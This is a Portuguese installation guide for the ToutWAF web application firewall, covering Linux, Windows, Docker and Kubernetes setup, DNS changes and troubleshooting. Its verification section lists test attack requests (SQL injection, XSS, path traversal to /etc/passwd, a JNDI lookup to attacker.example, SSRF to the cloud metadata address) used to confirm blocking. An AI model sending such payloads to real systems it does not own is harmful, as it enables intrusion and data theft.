Instale o ToutWAF passo a passo

Procedimentos para copiar e colar em AlmaLinux 10, outras distribuições Linux, Windows, Docker e Kubernetes. Binários nativos: não é preciso instalar nenhum runtime. Depois execute o assistente, mude o DNS e verifique.

A versão que instala

A versão pública é uma versão de desenvolvimento, chamada 0.3.0-dev. O nome não muda: cada publicação substitui a anterior e um identificador de compilação distingue duas compilações. Ainda não existe nenhuma versão estável: só será publicada quando cada sistema e cada pacote tiverem sido testados de ponta a ponta. Por isso, os comandos desta página instalam a partir do canal dev. Uma versão de desenvolvimento pode conter erros: experimente-a num site de teste antes de depender dela.

Requisitos

Um servidor de 64 bits (amd64 ou arm64) com Linux ou Windows, acesso root ou de administrador e as portas 80 e 443 livres. A consola escuta na porta 9443, sob um caminho secreto. O detalhe dos requisitos e das dependências está logo abaixo.

Requisitos e dependências

O que o seu servidor precisa, o que o instalador acrescenta e o que é opcional.

Sistemas suportados

Linux com systemd 239 ou posterior e glibc 2.28 ou posterior, em amd64 ou arm64: AlmaLinux, Rocky Linux, RHEL e Oracle Linux 8 a 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 a 13, Ubuntu 20.04 a 26.04, openSUSE e Arch (tabela completa abaixo). Windows 10, 11 e Server 2016 a 2025 (ainda não executado num anfitrião Windows real). O instalador verifica o seu sistema antes de alterar o que quer que seja. Servidores que adiciona a partir da consola: o agente de anfitrião existe para Linux (amd64, arm64) e Windows (amd64).

Portas de rede

80 e 443: tráfego web (data plane). 9443: consola (alterável com --cp-port). 9444: API usada pelos nós data plane e pelos agentes de servidores; o instalador não a abre, permita-a apenas a partir dos seus servidores. 127.0.0.1:9101: ponto de saúde local. O UDP 443 permanece fechado (HTTP/3 não está implementado). Os agentes de servidores só fazem ligações de saída para a porta 9444.

O que faz o instalador

Requer direitos de root ou administrador e HTTPS de saída para descarregar a versão. Instala curl, tar e libcap se faltarem (e policycoreutils-python-utils em sistemas SELinux), cria um utilizador toutwaf sem privilégios e uma pasta de instalação única (/var/toutwaf com bin, conf, data e logs; --home DIR altera-a, e uma instalação anterior mantém os seus caminhos), instala serviços systemd reforçados (serviços do Windows no Windows), permite ao data plane usar as portas 80 e 443 sem root, abre o firewall por padrão quando o firewalld ou o ufw está ativo (80, 443 e a porta da console; --console-from restringe a console, --no-firewall desativa), etiqueta os ficheiros para SELinux e verifica as somas SHA-256.

Idioma do instalador

Inglês por predefinição; o instalador deteta o idioma do sistema. Force um com --fr --de --es --it --pt --nl --ru --zh --ar ou --en (Windows: -Fr, etc., ou a variável TOUTWAF_LANG).

Binários autónomos

O data plane é escrito em Rust, o control plane e o agente em Go, e a consola está integrada no control plane. Não é preciso instalar runtime de Python, Node.js ou Java nem servidor de base de dados: os dados ficam em SQLite. O data plane em Rust requer glibc 2.28 ou superior. Principais componentes de terceiros: tokio, hyper e rustls (Rust), Svelte e xterm.js (consola).

Componentes opcionais

ClamAV para as análises antivírus dos hosts Linux (a consola pode instalá-lo por si); Microsoft Defender no Windows. openssl apenas se ativar a verificação da assinatura das versões, e cosign apenas se quiser que verifique assinaturas. O Docker não é necessário: os manifestos Docker e Kubernetes são formas alternativas de implementação.

ToutPanel (servidor de alojamento web)

Instala-se a partir da consola por SSH, ou com o seu próprio instalador. Linux: Debian 11 a 13, Ubuntu 20.04 a 24.04, AlmaLinux, Rocky Linux e RHEL 9 e 10, Fedora 40 e posteriores. Windows 10 e 11, Windows Server 2016 a 2025. Requer root e bash (Linux) ou PowerShell 5.1+ como administrador (Windows), Python 3.9 a 3.14 (instalado pelo seu script quando a distribuição o fornece), pelo menos 1 GB de RAM (2 GB recomendados com MariaDB e PHP), 2 GB de disco livre mais os seus sites e HTTPS de saída. O seu painel escuta por predefinição na porta 8888; as portas 80 e 443 servem os sites. Fonte: o README do ToutPanel.

O ToutWAF ainda não publica valores mínimos de CPU, RAM ou disco: dimensione o seu servidor com um teste sobre o seu próprio tráfego.

Sistemas suportados

Verificados pelo instalador antes de alterar o que quer que seja. Os estados vêm dos dados do próprio instalador.

  • tested O teste de instalação completo em contentor passou nessa versão exata.
  • expected Mesma família, glibc e systemd suficientemente recentes, mas o teste completo não foi executado.
  • unsupported Recusado antes de qualquer alteração (contornável por sua conta e risco com --skip-os-check).
amd64supportedarm64supportedarm32unsupported
DistribuiçãoVersões
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEtodas as versõesexpected
Pop!_OStodas as versõesexpected
Zorin OStodas as versõesexpected
elementary OStodas as versõesexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)todas as versõesunsupported
Devuantodas as versõesunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeontodas as versõesunsupported
openSUSE MicroOS / Aeon / Kalpatodas as versõesunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxtodas as versõesunsupported
Alpine Linuxtodas as versõesunsupported
Void Linuxtodas as versõesunsupported
NixOStodas as versõesunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Verificar sem instalar: sudo bash install.sh --check-compat (Windows: -CheckCompat). O código de saída é 0 se compatível e 3 caso contrário. Para prosseguir por sua conta e risco num sistema não suportado, use --skip-os-check: nunca é silencioso e não contorna a recusa do ARM de 32 bits.
Raspberry Pi e outros servidores arm64: Raspberry Pi 3, 4, 5 e Zero 2 W precisam de um SO de 64 bits (Raspberry Pi OS de 64 bits, Ubuntu ou Debian arm64). A compilação arm64 só correu sob emulação, nunca em hardware real, e não existe nenhum benchmark. O ARM de 32 bits é recusado.
Windows 10 (1809 e posteriores), 11 e Server 2016 a 2025 são expected: o instalador do Windows não foi executado num anfitrião Windows real. A compilação Windows ARM64 foi apenas compilada de forma cruzada e nunca foi executada.
Docker: a imagem tudo em um só foi testada em Linux amd64. Os Mac Apple Silicon e Intel não foram testados e o macOS nativo não é fornecido.

O assistente de configuração: de zero a um site protegido

No primeiro arranque, o assistente web leva-o de zero a um site protegido, em modo de deteção, sem estragar nada.

Domínio e origem

Introduza o domínio público e o endereço do seu servidor.

Certificado automático

Um certificado da autoridade que escolher (Let's Encrypt por predefinição) é pedido e renovado por si.

Deteção da stack

O ToutWAF reconhece WordPress, Laravel, Django e mais.

Modelo de política

É proposto um modelo adequado. Reveja-o ou mantenha o predefinido.

Modo de deteção

O tráfego é analisado sem bloquear durante alguns dias e depois é criado um relatório.

Passar a bloqueio

Um clique para aplicar, um clique para reverter.

Relatório de deteção após 7 dias (exemplo)
  • ✓99,8 % do tráfego seria permitido
  • !3 regras causam 95 % dos falsos positivos
  • ✓3 exceções propostas, prontas a rever

Atualize o sistema e instale os pré-requisitos

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Instale com o instalador de uma linha

O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefere ler primeiro o script?

Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opções do instalador

Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Abra a firewall

O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Mantenha o SELinux em modo enforcing. Etiquete as diretorias do ToutWAF e confirme que não é registada nenhuma negação AVC.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Gerir os serviços

Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifique os serviços

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Atualizar

Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Atualize o sistema e instale os pré-requisitos

Rocky Linux, RHEL 8 a 10 e outros clones de Enterprise Linux usam os mesmos comandos que o AlmaLinux. Depois de instalar, siga os passos de firewalld e SELinux do separador AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Instale com o instalador de uma linha

O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefere ler primeiro o script?

Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opções do instalador

Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Gerir os serviços

Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifique os serviços

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Atualizar

Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Instale os pré-requisitos (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Instale com o instalador de uma linha

O script descarrega os binários nativos para a sua arquitetura, cria um utilizador dedicado sem privilégios e instala os serviços systemd reforçados toutwaf-dp (plano de dados, portas 80 e 443) e toutwaf-cp (plano de controlo e consola, porta 9443), e depois apresenta as informações do primeiro acesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefere ler primeiro o script?

Descarregue-o, reveja-o e depois execute-o. Recomendado para servidores de produção.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opções do instalador

Uma instalação nova fica numa única pasta, /var/toutwaf (bin, conf, data e logs; altere-a com --home DIR ou TOUTWAF_HOME), e as ferramentas de linha de comandos são ligadas em /usr/local/bin. Uma instalação anterior mantém os seus próprios caminhos (/etc/toutwaf, /var/lib/toutwaf) e nunca é movida.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Abra a firewall (ufw)

O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Gerir os serviços

Ambos os serviços arrancam com o sistema. Use estes comandos para os iniciar, parar ou reiniciar.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifique os serviços

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Atualizar

Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Abra o PowerShell como administrador e execute o instalador

Instala os binários nativos, regista o serviço Windows ToutWAF para o plano de dados e uma tarefa de arranque para a consola, e abre as portas da firewall. O instalador ainda não foi executado num anfitrião Windows real.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Abra a firewall

O instalador abre estas portas por padrão quando o firewalld ou o ufw está ativo: 80 e 443, e a porta 9443 da console (restrinja-a à sua rede de administração com --console-from). A porta 9444 dos agentes nunca é aberta ao público. Estes comandos só são necessários com --no-firewall, com outro firewall ou para fazer à mão.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Verifique os serviços

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Atualizar

Faça uma cópia da configuração e dos dados e execute o instalador de novo: ele mantém as suas definições e reverte sozinho se a nova versão não ficar saudável. Os caminhos mostrados são os de uma instalação nova (/var/toutwaf); uma instalação anterior mantém /etc/toutwaf e /var/lib/toutwaf. Também pode atualizar a partir da console, na página Atualizações.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose em Mac ou Linux

Docker Compose em Linux ou num Mac (Docker Desktop, OrbStack, Colima), com a imagem tudo em um (plano de controlo e plano de dados). Os ficheiros vêm com a sua distribuição ToutWAF (a pasta deploy, que não está no repositório público, o qual só contém binários e instaladores). A imagem inclui binários pré-compilados por arquitetura (bin/amd64 ou bin/arm64) e ainda não é publicada nenhuma imagem num registo. Testada apenas em Linux amd64; não testada num Mac real, onde o IP de cliente visto atrás do Docker Desktop é o endereço do gateway do Docker. As credenciais de utilização única aparecem uma só vez no registo do plano de controlo.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Atualizar (contentores)

Faça primeiro uma cópia de segurança. O botão de atualização da consola não pode funcionar num contentor: substitua os binários da pasta bin (ou a imagem, quando existir uma publicada) e reconstrua; os volumes, ou seja, os seus dados, são mantidos.

bash
docker compose up -d --build

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

bash
docker compose down
purge
docker compose down -v

Instale com Helm

Implementa o plano de dados como ingress, com um plano de controlo no cluster se o desejar. O chart e os manifestos (modo sidecar incluído) estão na pasta deploy da sua distribuição ToutWAF, não no repositório público, que só contém binários e instaladores. O operador limita-se a CRD e a um esqueleto.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Verifique os pods e abra a consola

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Atualizar (contentores)

Faça primeiro uma cópia de segurança. O botão de atualização da consola não pode funcionar num contentor: substitua os binários da pasta bin (ou a imagem, quando existir uma publicada) e reconstrua; os volumes, ou seja, os seus dados, são mantidos.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Desinstalar

O primeiro bloco remove os serviços, os binários e as regras de firewall adicionadas pelo ToutWAF, e mantém os seus dados. O segundo apaga também a configuração, os dados e os registos.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

Após a instalação: configure e verifique

Primeiro acesso

Abra a ligação secreta da consola apresentada no fim da instalação (a consola só responde sob esse caminho) e use a ligação de configuração de utilização única, ou a palavra-passe de administrador gerada uma única vez no resumo. Ative logo a autenticação de dois fatores e crie um segundo administrador para nunca ficar bloqueado.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Adicione o seu primeiro site

Em Sites, clique em Novo site e introduza o domínio público e o upstream (o endereço real do seu servidor). Comece em modo apenas deteção e passe a bloqueio quando o relatório estiver limpo. Pode também criar sites com a API REST e um token de API.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Mude o DNS

Reduza o TTL dos seus registos no dia anterior. Depois aponte os registos A / AAAA do domínio para o servidor ToutWAF. Quando o DNS estiver propagado, o certificado é emitido. Restrinja a firewall da sua origem para que só o servidor ToutWAF a consiga alcançar.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Verifique com ataques de teste

Cada um destes pedidos deve devolver 403 e aparecer em Ataques (em modo bloqueio). Execute-os apenas nos seus próprios sites.

No PowerShell do Windows, use curl.exe em vez de curl, que é um alias.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Resolução de problemas

A consola não está acessível na porta 9443

Execute o Doutor ToutWAF no servidor: verifica os serviços, as portas e a firewall da máquina e diz o que fazer. Também funciona a partir da linha de comandos quando a própria consola está inacessível; o eventual grupo de segurança da cloud à frente do servidor tem também de deixar passar a porta 9443.

Pedidos legítimos são bloqueados (falsos positivos)

Abra o evento em Ataques, leia a explicação e clique no botão de falso positivo para criar a exceção mais restrita, ou reduza o nível de paranoia do site.

502 Bad Gateway

O ToutWAF não alcança a sua origem. Abra o Doutor ToutWAF, linha «Servidor de origem»: diz se a porta recusa a ligação, se o nome não se resolve ou se o certificado não é de confiança, e o que fazer. Verifique também a firewall da origem.

A emissão do Let's Encrypt falha

O Doutor ToutWAF verifica o DNS (incluindo um registo AAAA esquecido num CDN ou proxy) e a acessibilidade da porta 80 antes de um pedido. Para um certificado wildcard use o desafio DNS-01.

O IP real do cliente está errado na minha aplicação

Leia o cabeçalho X-Forwarded-For definido pelo ToutWAF e confie nele apenas se vier do endereço do servidor ToutWAF.

Onde estão os registos?

Use as páginas Registos e Eventos da consola. Os serviços escrevem também no diário do sistema da máquina, e o Doutor produz um relatório de texto que pode enviar ao suporte.

A seguir: leia a documentação completa